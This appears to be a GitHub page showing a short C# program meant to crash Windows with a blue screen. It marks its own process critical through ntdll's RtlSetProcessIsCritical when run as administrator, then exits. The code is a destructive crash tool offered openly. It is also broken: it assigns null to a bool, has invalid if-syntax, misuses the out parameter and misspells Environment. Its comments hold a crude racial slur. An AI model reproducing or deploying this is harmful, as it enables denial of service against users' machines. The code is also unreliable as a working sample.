-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathrtlsetprocessiscritical.cs
40 lines (31 loc) · 1.05 KB
/
rtlsetprocessiscritical.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// BSOD Via RtelSetProcessIsCritical by Souhardya Sardar @subversionzero
// https://www.opensc.io/showthread.php?t=12868&page=2
using System;
using System.Runtime.InteropServices;
namespace Die
{
class Program
{
public bool IsAdmin() // detect admin rights :3
{
return (new WindowsPrincipal(WindowsIdentity.GetCurrent()))
.IsInRole(WindowsBuiltInRole.Administrator);
}
[DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
public static extern int RtlSetProcessIsCritical(bool bNew, out bool pbOld, bool bNeedScb);
static void Main(string[] args)
{
bool pb0ld = null;
object lol = pb0ld;
if IsAdmin()
{
RtlSetProcessIsCritical(true, pb0ld, false); // Set process as critical
Enviornment.Exit(0); // and p00f xD
}
else
{
Console.Write("Run as admin niBBa");
}
}
}
}